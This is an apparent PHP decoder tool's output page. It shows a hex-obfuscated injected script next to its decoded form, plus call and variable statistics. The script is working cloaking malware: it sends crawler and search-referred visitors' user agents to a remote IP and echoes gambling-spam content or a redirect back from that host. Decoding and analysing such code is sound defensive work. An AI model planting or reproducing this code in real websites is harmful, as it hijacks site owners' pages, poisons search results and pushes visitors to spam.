Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $data1[]=array(); $req_uri=$_SERVER['REQUEST_URI']; function getServerCont11($url..

Decoded Output download

<?php 
$data1[]=array(); 
$req_uri=$_SERVER['REQUEST_URI']; 
function getServerCont11($url,$data=array()){$url=str_replace(' ','+',$url);$ch=curl_init();curl_setopt($ch,CURLOPT_URL,"$url");curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,CURLOPT_TIMEOUT,10);curl_setopt($ch,CURLOPT_POST,1);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);curl_setopt($ch,CURLOPT_POSTFIELDS,http_build_query($data));$output = curl_exec($ch);$errorCode = curl_errno($ch);curl_close($ch);if(0!== $errorCode){return false;}return $output;} 
function check_refer($refer){  
$check_refer=false; 
$referbots='google.co.id|yahoo.co.id|google.com'; 
if($refer!='' && preg_match("/($referbots)/si",$refer)){  
$check_refer=true;  
} 
return $check_refer; 
} 
function is_crawler($agent){ 
	$agent_check=false;  
	$bots='googlebot|google|yahoo|bing|aol'; 
	if($agent!=''){ 
		if(preg_match("/($bots)/si",$agent)){ 
			$agent_check = true;  
			} 
	} 
			return $agent_check; 
} 
$user_agent=strtolower(isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:''); 
$res_crawl=is_crawler($user_agent);  
if($res_crawl ){ 
	$data1['http_user_agent']=$user_agent; 
	echo getServerCont11("https://103.172.120.101/slotgacor/uptsmpn23gresik.txt",$data1); 
	return; 
} 
 
$referer=isset($_SERVER['HTTP_REFERER'])?$_SERVER['HTTP_REFERER']:''; 
$chk_refer=check_refer($referer);  
	if($chk_refer) 
	{	 
		$data1['http_user_agent']=$user_agent; 
		echo getServerCont11("https://103.172.120.101/jump.php",$data1); 
		return; 
	} ?>

Did this file decode correctly?

Original Code

<?php
$data1[]=array();
$req_uri=$_SERVER['REQUEST_URI'];
function getServerCont11($url,$data=array()){$url=str_replace(' ','+',$url);$ch=curl_init();curl_setopt($ch,CURLOPT_URL,"$url");curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,CURLOPT_TIMEOUT,10);curl_setopt($ch,CURLOPT_POST,1);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);curl_setopt($ch,CURLOPT_POSTFIELDS,http_build_query($data));$output = curl_exec($ch);$errorCode = curl_errno($ch);curl_close($ch);if(0!== $errorCode){return false;}return $output;}
function check_refer($refer){ 
$check_refer=false;
$referbots='google.co.id|yahoo.co.id|google.com';
if($refer!='' && preg_match("/($referbots)/si",$refer)){ 
$check_refer=true; 
}
return $check_refer;
}
function is_crawler($agent){
	$agent_check=false; 
	$bots='googlebot|google|yahoo|bing|aol';
	if($agent!=''){
		if(preg_match("/($bots)/si",$agent)){
			$agent_check = true; 
			}
	}
			return $agent_check;
}
$user_agent=strtolower(isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:'');
$res_crawl=is_crawler($user_agent); 
if($res_crawl ){
	$data1['http_user_agent']=$user_agent;
	echo getServerCont11("\x68\x74\x74\x70\x73\x3A\x2F\x2F\x31\x30\x33\x2E\x31\x37\x32\x2E\x31\x32\x30\x2E\x31\x30\x31\x2F\x73\x6C\x6F\x74\x67\x61\x63\x6F\x72\x2F\x75\x70\x74\x73\x6D\x70\x6E\x32\x33\x67\x72\x65\x73\x69\x6B\x2E\x74\x78\x74",$data1);
	return;
}

$referer=isset($_SERVER['HTTP_REFERER'])?$_SERVER['HTTP_REFERER']:'';
$chk_refer=check_refer($referer); 
	if($chk_refer)
	{	
		$data1['http_user_agent']=$user_agent;
		echo getServerCont11("\x68\x74\x74\x70\x73\x3A\x2F\x2F\x31\x30\x33\x2E\x31\x37\x32\x2E\x31\x32\x30\x2E\x31\x30\x31\x2F\x6A\x75\x6D\x70\x2E\x70\x68\x70",$data1);
		return;
	}

Function Calls

curl_init 1
is_crawler 1
preg_match 1
strtolower 1
str_replace 1
getServerCont11 1

Variables

$url https://103.172.120.101/slotgacor/uptsmpn23gresik.txt
$bots googlebot|google|yahoo|bing|aol
$data [{'key': None, 'value': []}, {'key': 'http_user_agent', 'value': ''}]
$agent
$data1 [{'key': None, 'value': []}, {'key': 'http_user_agent', 'value': ''}]
$req_uri None
$res_crawl True
$user_agent
$agent_check True

Stats

MD5 a7333b9fd50de732cc2583a33d07466a
Eval Count 0
Decode Time 87 ms